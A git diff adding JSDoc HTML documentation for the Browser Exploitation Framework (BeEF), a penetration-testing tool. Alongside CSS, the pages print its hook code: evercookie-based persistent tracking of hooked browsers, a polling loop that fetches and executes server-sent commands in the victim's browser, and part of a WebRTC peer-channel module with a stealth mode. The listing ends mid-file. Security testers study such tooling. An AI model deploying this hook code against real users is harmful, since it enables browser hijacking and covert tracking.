override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"], +"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"], +H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"], +J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+ +I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]), +["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css", +/^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}), +["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes", +hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p=0){var k=k.match(g),f,b;if(b= +!k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p + + + + JSDoc: Source: session.js + + + + + + + + + + +
+ +

Source: session.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides basic session functions.
+ * @namespace beef.session
+ */
+beef.session = {
+	
+	hook_session_id_length: 80,
+	hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",	
+	ec: new evercookie(),
+    beefhook: "<%= @hook_session_name %>",
+	
+	/**
+	 * Gets a string which will be used to identify the hooked browser session
+	 * 
+	 * @example: var hook_session_id = beef.session.get_hook_session_id();
+	 */
+  	get_hook_session_id: function() {
+		// check if the browser is already known to the framework
+		var id = this.ec.evercookie_cookie(beef.session.beefhook);
+		if (typeof id == 'undefined') {
+			var id = this.ec.evercookie_userdata(beef.session.beefhook);
+		}
+		if (typeof id == 'undefined') {
+			var id = this.ec.evercookie_window(beef.session.beefhook);
+		}
+		
+		// if the browser is not known create a hook session id and set it
+		if ((typeof id == 'undefined') || (id == null)) {
+			id = this.gen_hook_session_id();
+			this.set_hook_session_id(id);
+		}
+		
+		// return the hooked browser session identifier
+		return id;
+	},
+	
+	/**
+	 * Sets a string which will be used to identify the hooked browser session
+	 * 
+	 * @example: beef.session.set_hook_session_id('RANDOMSTRING');
+	 */
+  	set_hook_session_id: function(id) {
+		// persist the hook session id
+		this.ec.evercookie_cookie(beef.session.beefhook, id);
+		this.ec.evercookie_userdata(beef.session.beefhook, id);
+		this.ec.evercookie_window(beef.session.beefhook, id);
+	},
+	
+	/**
+	 * Generates a random string using the chars in hook_session_id_chars.
+	 * 
+	 * @example: beef.session.gen_hook_session_id();
+	 */
+  	gen_hook_session_id: function() {
+	    // init the return value
+		var hook_session_id = "";
+		
+		// construct the random string 
+		for(var i=0; i<this.hook_session_id_length; i++) {
+		  var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
+		  hook_session_id += this.hook_session_id_chars.charAt(rand_num);
+		}
+		
+		return hook_session_id;
+	}
+};
+
+beef.regCmp('beef.session');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/styles/jsdoc-default.css b/docs/styles/jsdoc-default.css new file mode 100644 index 000000000..7d1729dc9 --- /dev/null +++ b/docs/styles/jsdoc-default.css @@ -0,0 +1,358 @@ +@font-face { + font-family: 'Open Sans'; + font-weight: normal; + font-style: normal; + src: url('../fonts/OpenSans-Regular-webfont.eot'); + src: + local('Open Sans'), + local('OpenSans'), + url('../fonts/OpenSans-Regular-webfont.eot?#iefix') format('embedded-opentype'), + url('../fonts/OpenSans-Regular-webfont.woff') format('woff'), + url('../fonts/OpenSans-Regular-webfont.svg#open_sansregular') format('svg'); +} + +@font-face { + font-family: 'Open Sans Light'; + font-weight: normal; + font-style: normal; + src: url('../fonts/OpenSans-Light-webfont.eot'); + src: + local('Open Sans Light'), + local('OpenSans Light'), + url('../fonts/OpenSans-Light-webfont.eot?#iefix') format('embedded-opentype'), + url('../fonts/OpenSans-Light-webfont.woff') format('woff'), + url('../fonts/OpenSans-Light-webfont.svg#open_sanslight') format('svg'); +} + +html +{ + overflow: auto; + background-color: #fff; + font-size: 14px; +} + +body +{ + font-family: 'Open Sans', sans-serif; + line-height: 1.5; + color: #4d4e53; + background-color: white; +} + +a, a:visited, a:active { + color: #0095dd; + text-decoration: none; +} + +a:hover { + text-decoration: underline; +} + +header +{ + display: block; + padding: 0px 4px; +} + +tt, code, kbd, samp { + font-family: Consolas, Monaco, 'Andale Mono', monospace; +} + +.class-description { + font-size: 130%; + line-height: 140%; + margin-bottom: 1em; + margin-top: 1em; +} + +.class-description:empty { + margin: 0; +} + +#main { + float: left; + width: 70%; +} + +article dl { + margin-bottom: 40px; +} + +article img { + max-width: 100%; +} + +section +{ + display: block; + background-color: #fff; + padding: 12px 24px; + border-bottom: 1px solid #ccc; + margin-right: 30px; +} + +.variation { + display: none; +} + +.signature-attributes { + font-size: 60%; + color: #aaa; + font-style: italic; + font-weight: lighter; +} + +nav +{ + display: block; + float: right; + margin-top: 28px; + width: 30%; + box-sizing: border-box; + border-left: 1px solid #ccc; + padding-left: 16px; +} + +nav ul { + font-family: 'Lucida Grande', 'Lucida Sans Unicode', arial, sans-serif; + font-size: 100%; + line-height: 17px; + padding: 0; + margin: 0; + list-style-type: none; +} + +nav ul a, nav ul a:visited, nav ul a:active { + font-family: Consolas, Monaco, 'Andale Mono', monospace; + line-height: 18px; + color: #4D4E53; +} + +nav h3 { + margin-top: 12px; +} + +nav li { + margin-top: 6px; +} + +footer { + display: block; + padding: 6px; + margin-top: 12px; + font-style: italic; + font-size: 90%; +} + +h1, h2, h3, h4 { + font-weight: 200; + margin: 0; +} + +h1 +{ + font-family: 'Open Sans Light', sans-serif; + font-size: 48px; + letter-spacing: -2px; + margin: 12px 24px 20px; +} + +h2, h3.subsection-title +{ + font-size: 30px; + font-weight: 700; + letter-spacing: -1px; + margin-bottom: 12px; +} + +h3 +{ + font-size: 24px; + letter-spacing: -0.5px; + margin-bottom: 12px; +} + +h4 +{ + font-size: 18px; + letter-spacing: -0.33px; + margin-bottom: 12px; + color: #4d4e53; +} + +h5, .container-overview .subsection-title +{ + font-size: 120%; + font-weight: bold; + letter-spacing: -0.01em; + margin: 8px 0 3px 0; +} + +h6 +{ + font-size: 100%; + letter-spacing: -0.01em; + margin: 6px 0 3px 0; + font-style: italic; +} + +table +{ + border-spacing: 0; + border: 0; + border-collapse: collapse; +} + +td, th +{ + border: 1px solid #ddd; + margin: 0px; + text-align: left; + vertical-align: top; + padding: 4px 6px; + display: table-cell; +} + +thead tr +{ + background-color: #ddd; + font-weight: bold; +} + +th { border-right: 1px solid #aaa; } +tr > th:last-child { border-right: 1px solid #ddd; } + +.ancestors, .attribs { color: #999; } +.ancestors a, .attribs a +{ + color: #999 !important; + text-decoration: none; +} + +.clear +{ + clear: both; +} + +.important +{ + font-weight: bold; + color: #950B02; +} + +.yes-def { + text-indent: -1000px; +} + +.type-signature { + color: #aaa; +} + +.name, .signature { + font-family: Consolas, Monaco, 'Andale Mono', monospace; +} + +.details { margin-top: 14px; border-left: 2px solid #DDD; } +.details dt { width: 120px; float: left; padding-left: 10px; padding-top: 6px; } +.details dd { margin-left: 70px; } +.details ul { margin: 0; } +.details ul { list-style-type: none; } +.details li { margin-left: 30px; padding-top: 6px; } +.details pre.prettyprint { margin: 0 } +.details .object-value { padding-top: 0; } + +.description { + margin-bottom: 1em; + margin-top: 1em; +} + +.code-caption +{ + font-style: italic; + font-size: 107%; + margin: 0; +} + +.source +{ + border: 1px solid #ddd; + width: 80%; + overflow: auto; +} + +.prettyprint.source { + width: inherit; +} + +.source code +{ + font-size: 100%; + line-height: 18px; + display: block; + padding: 4px 12px; + margin: 0; + background-color: #fff; + color: #4D4E53; +} + +.prettyprint code span.line +{ + display: inline-block; +} + +.prettyprint.linenums +{ + padding-left: 70px; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.prettyprint.linenums ol +{ + padding-left: 0; +} + +.prettyprint.linenums li +{ + border-left: 3px #ddd solid; +} + +.prettyprint.linenums li.selected, +.prettyprint.linenums li.selected * +{ + background-color: lightyellow; +} + +.prettyprint.linenums li * +{ + -webkit-user-select: text; + -moz-user-select: text; + -ms-user-select: text; + user-select: text; +} + +.params .name, .props .name, .name code { + color: #4D4E53; + font-family: Consolas, Monaco, 'Andale Mono', monospace; + font-size: 100%; +} + +.params td.description > p:first-child, +.props td.description > p:first-child +{ + margin-top: 0; + padding-top: 0; +} + +.params td.description > p:last-child, +.props td.description > p:last-child +{ + margin-bottom: 0; + padding-bottom: 0; +} + +.disabled { + color: #454545; +} diff --git a/docs/styles/prettify-jsdoc.css b/docs/styles/prettify-jsdoc.css new file mode 100644 index 000000000..5a2526e37 --- /dev/null +++ b/docs/styles/prettify-jsdoc.css @@ -0,0 +1,111 @@ +/* JSDoc prettify.js theme */ + +/* plain text */ +.pln { + color: #000000; + font-weight: normal; + font-style: normal; +} + +/* string content */ +.str { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a keyword */ +.kwd { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* a comment */ +.com { + font-weight: normal; + font-style: italic; +} + +/* a type name */ +.typ { + color: #000000; + font-weight: normal; + font-style: normal; +} + +/* a literal value */ +.lit { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* punctuation */ +.pun { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* lisp open bracket */ +.opn { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* lisp close bracket */ +.clo { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* a markup tag name */ +.tag { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a markup attribute name */ +.atn { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a markup attribute value */ +.atv { + color: #006400; + font-weight: normal; + font-style: normal; +} + +/* a declaration */ +.dec { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* a variable name */ +.var { + color: #000000; + font-weight: normal; + font-style: normal; +} + +/* a function name */ +.fun { + color: #000000; + font-weight: bold; + font-style: normal; +} + +/* Specify class=linenums on a pre to get line numbering */ +ol.linenums { + margin-top: 0; + margin-bottom: 0; +} diff --git a/docs/styles/prettify-tomorrow.css b/docs/styles/prettify-tomorrow.css new file mode 100644 index 000000000..b6f92a78d --- /dev/null +++ b/docs/styles/prettify-tomorrow.css @@ -0,0 +1,132 @@ +/* Tomorrow Theme */ +/* Original theme - https://github.com/chriskempson/tomorrow-theme */ +/* Pretty printing styles. Used with prettify.js. */ +/* SPAN elements with the classes below are added by prettyprint. */ +/* plain text */ +.pln { + color: #4d4d4c; } + +@media screen { + /* string content */ + .str { + color: #718c00; } + + /* a keyword */ + .kwd { + color: #8959a8; } + + /* a comment */ + .com { + color: #8e908c; } + + /* a type name */ + .typ { + color: #4271ae; } + + /* a literal value */ + .lit { + color: #f5871f; } + + /* punctuation */ + .pun { + color: #4d4d4c; } + + /* lisp open bracket */ + .opn { + color: #4d4d4c; } + + /* lisp close bracket */ + .clo { + color: #4d4d4c; } + + /* a markup tag name */ + .tag { + color: #c82829; } + + /* a markup attribute name */ + .atn { + color: #f5871f; } + + /* a markup attribute value */ + .atv { + color: #3e999f; } + + /* a declaration */ + .dec { + color: #f5871f; } + + /* a variable name */ + .var { + color: #c82829; } + + /* a function name */ + .fun { + color: #4271ae; } } +/* Use higher contrast and text-weight for printable form. */ +@media print, projection { + .str { + color: #060; } + + .kwd { + color: #006; + font-weight: bold; } + + .com { + color: #600; + font-style: italic; } + + .typ { + color: #404; + font-weight: bold; } + + .lit { + color: #044; } + + .pun, .opn, .clo { + color: #440; } + + .tag { + color: #006; + font-weight: bold; } + + .atn { + color: #404; } + + .atv { + color: #060; } } +/* Style */ +/* +pre.prettyprint { + background: white; + font-family: Consolas, Monaco, 'Andale Mono', monospace; + font-size: 12px; + line-height: 1.5; + border: 1px solid #ccc; + padding: 10px; } +*/ + +/* Specify class=linenums on a pre to get line numbering */ +ol.linenums { + margin-top: 0; + margin-bottom: 0; } + +/* IE indents via margin-left */ +li.L0, +li.L1, +li.L2, +li.L3, +li.L4, +li.L5, +li.L6, +li.L7, +li.L8, +li.L9 { + /* */ } + +/* Alternate shading for lines */ +li.L1, +li.L3, +li.L5, +li.L7, +li.L9 { + /* */ } diff --git a/docs/timeout.js.html b/docs/timeout.js.html new file mode 100644 index 000000000..20b7ce98e --- /dev/null +++ b/docs/timeout.js.html @@ -0,0 +1,74 @@ + + + + + JSDoc: Source: timeout.js + + + + + + + + + + +
+ +

Source: timeout.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Sometimes there are timing issues and looks like beef_init
+ * is not called at all (always in cross-origin situations,
+ * for example calling the hook with jquery getScript,
+ * or sometimes with event handler injections).
+ * 
+ * To fix this, we call again beef_init after 1 second.
+ * Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
+ * antisnatchor
+ * @namespace beef.timeout
+ */
+
+ /**
+  * @memberof beef.timeout 
+  * @function setTimeout 
+  */
+setTimeout(beef_init, 1000);
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/updater.js.html b/docs/updater.js.html new file mode 100644 index 000000000..8a816c4d4 --- /dev/null +++ b/docs/updater.js.html @@ -0,0 +1,144 @@ + + + + + JSDoc: Source: updater.js + + + + + + + + + + +
+ +

Source: updater.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Object in charge of getting new commands from the BeEF framework and execute them.
+ * The XHR-polling channel is managed here. If WebSockets are enabled,
+ * websocket.ls is used instead.
+ * @namespace beef.updater
+ */
+beef.updater = {
+	
+	/** XHR-polling timeout. */ 
+	xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
+	
+	/** Hook session name. */ 
+    beefhook: "<%= @hook_session_name %>",
+	
+	/** A lock. */ 
+	lock: false,
+	
+	/** An object containing all values to be registered and sent by the updater. */
+	objects: new Object(),
+	
+	/**
+	 * Registers an object to always send when requesting new commands to the framework.
+	 * @param {String} key the name of the object.
+	 * @param {String} value the value of that object.
+	 * 
+	 * @example beef.updater.regObject('java_enabled', 'true');
+	 */
+	regObject: function(key, value) {
+		this.objects[key] = escape(value);
+	},
+	
+	// Checks for new commands from the framework and runs them.
+	check: function() {
+		if(this.lock == false) {
+			if (beef.logger.running) {
+				beef.logger.queue();
+			}
+			beef.net.flush();
+			if(beef.commands.length > 0) {
+				this.execute_commands();
+			}else {
+				this.get_commands();    /*Polling*/
+			}
+		}
+        /* The following gives a stupid syntax error in IE, which can be ignored*/
+        setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
+	},
+	
+    /**
+     * Gets new commands from the framework.
+     */
+	get_commands: function() {
+		try {
+			this.lock = true;
+            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
+                if (response.body != null && response.body.length > 0)
+                    beef.updater.execute_commands();
+            });
+		} catch(e) {
+			this.lock = false;
+			return;
+		}
+		this.lock = false;
+	},
+	
+    /**
+     * Executes the received commands, if any.
+     */
+	execute_commands: function() {
+		if(beef.commands.length == 0) return;
+		this.lock = true;
+		while(beef.commands.length > 0) {
+			command = beef.commands.pop();
+			try {
+				command();
+			} catch(e) {
+				beef.debug('execute_commands - command failed to execute: ' + e.message);
+                // prints the command source to be executed, to better trace errors
+                // beef.client_debug must be enabled in the main config
+                beef.debug(command.toString());
+			}
+		}
+		this.lock = false;
+	}
+};
+
+beef.regCmp('beef.updater');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/webrtc.js.html b/docs/webrtc.js.html new file mode 100644 index 000000000..f4b30e02d --- /dev/null +++ b/docs/webrtc.js.html @@ -0,0 +1,767 @@ + + + + + JSDoc: Source: webrtc.js + + + + + + + + + + +
+ +

Source: webrtc.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+/**
+ * Manage the WebRTC peer to peer communication channels.
+ * This objects contains all the necessary client-side WebRTC components,
+ * allowing browsers to use WebRTC to communicate with each other.
+ * To provide signaling, the WebRTC extension sets up custom listeners.
+ *  /rtcsignal - for sending RTC signalling information between peers
+ *  /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
+ *
+ * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
+ * the signalling.
+ *
+ * This is all mostly a Proof of Concept
+ * @namespace beef.webrtc
+ */
+
+/** 
+ * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. 
+ * @memberof beef.webrtc
+*/
+beefrtcs = {};
+/** 
+ * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
+ * these objects persist outside of everything else. The key is the peer id.
+ * @memberof beef.webrtc
+ */
+globalrtc = {}; 
+/** 
+ * stealth should only be initiated from one peer - this global variable will contain:
+ * false - i.e not stealthed; or
+ * <peerid> - i.e. the id of the browser which initiated stealth mode
+ * @memberof beef.webrtc
+ */
+rtcstealth = false; 
+/** 
+ * To handle multiple event channels - we need to have a global hash of these. The key is the peer id 
+ * @memberof beef.webrtc
+*/
+rtcrecvchan = {}; 
+
+/**
+ * Beefwebrtc object - wraps everything together for a peer connection
+ * One of these per peer connection, and will be stored in the beefrtc global hash
+ * @memberof beef.webrtc
+ * @param initiator 
+ * @param peer 
+ * @param turnjson 
+ * @param stunservers 
+ * @param verbparam 
+ */
+function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
+    this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
+    this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
+    this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
+    this.turnjson = turnjson; // set of TURN servers in the format:
+                              // {"username": "<username", "password": "<password>", "uris": [
+                              //    "turn:<ip>:<port>?transport=<udp/tcp>",
+                              //    "turn:<ip>:<port>?transport=<udp/tcp>"]}
+    this.started = false; // Has signaling / dialing started for this peer
+    this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
+    this.turnDone = false; // does the pcConfig have TURN servers added to it?
+    this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
+                                 // the receiver will set this to true once it receives an SDP 'offer'
+    this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
+    this.pcConfig = null; // We set this during init
+    this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
+    this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
+    this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
+    this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
+    this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
+    this.dataChannel = null; // The data channel used by this peer
+    this.stunservers = stunservers; // set of STUN servers, in the format:
+                                    // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
+}
+
+/**
+ * Initialize the object
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.initialize = function() {
+  if (this.peerid == null) {
+    return 0; // no peerid - NO DICE
+  }
+
+  // Initialise the pcConfig hash with the provided stunservers
+  var stuns = JSON.parse(this.stunservers);
+  this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
+    "credential":"pass"}]};
+
+  // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
+  // this.forceTurn(this.turnjson);
+  this.turnDone = true;
+
+  // Caller is always ready to create peerConnection.
+  this.signalingReady = this.initiator;
+
+  // Start .. maybe 
+  this.maybeStart();
+
+  // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
+  // window.onbeforeunload = function() {
+  //   this.sendSignalMsg({type: 'bye'});
+  // }
+
+  return 1; // because .. yeah .. we had a peerid - this is good yar.
+}
+
+/** 
+ * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
+ * These values are now simply passed in from the config.yaml for the webrtc extension
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.forceTurn = function(jason) {
+    var turnServer = JSON.parse(jason);
+    var iceServers = createIceServers(turnServer.uris,
+                                      turnServer.username,
+                                      turnServer.password);
+    if (iceServers !== null) {
+        this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
+    }
+    beef.debug("Got TURN servers, will try and maybestart again..");
+    this.turnDone = true;
+    this.maybeStart();
+}
+
+/**
+ * Try and establish the RTC connection
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.createPeerConnection = function() {
+  beef.debug('Creating RTCPeerConnnection with the following options:\n' +
+            '  config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
+            '  constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
+  try {
+    // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
+    globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
+    globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
+    beef.debug('Created RTCPeerConnnection with the following options:\n' +
+              '  config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
+              '  constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
+    
+  } catch (e) {
+    beef.debug('Failed to create PeerConnection, exception: ');
+    beef.debug(e);
+    return;
+  }
+
+  // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
+  globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
+  globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
+  globalrtc[this.peerid].ondatachannel = this.onDataChannel;
+  this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
+}
+
+/** 
+ * When the PeerConnection receives a new ICE Candidate 
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onIceCandidate = function(event) {
+  var peerid = null;
+
+  for (var k in beefrtcs) {
+    if (beefrtcs[k].allgood === false) {
+      peerid = beefrtcs[k].peerid;
+    }
+  }
+
+  beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
+  beef.debug(event);
+
+  if (event.candidate) {
+    // Send the candidate to the peer via the BeEF signalling channel
+    beefrtcs[peerid].sendSignalMsg({type: 'candidate',
+                 label: event.candidate.sdpMLineIndex,
+                 id: event.candidate.sdpMid,
+                 candidate: event.candidate.candidate});
+    // Note this ICE candidate locally
+    beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
+  } else {
+    beef.debug('End of candidates.');
+  }
+}
+
+/**
+ * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
+ * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
+ * against the message directly
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.processMessage = function(message) {
+  beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
+  var msg = JSON.parse(message);
+
+  if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
+    beef.debug('processing the message, as a receiver');
+    if (msg.type === 'offer') { // This IS an SDP Offer
+      beef.debug('.. and the message is an offer .. ');
+      this.msgQueue.unshift(msg); // put it on the top of the msgqueue
+      this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
+      this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
+    } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
+      beef.debug(' .. the message is NOT an offer .. ');
+      this.msgQueue.push(msg);
+    }
+  } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
+    beef.debug('processing the message, as the sender, no answers yet');
+    if (msg.type === 'answer') { // This IS an SDP Answer
+        beef.debug('.. and we have an answer ..');
+        this.processSignalingMessage(msg); // Process the message directly
+        this.gotanswer = true; // We have now received an answer
+        //process all other queued message...
+        while (this.msgQueue.length > 0) {
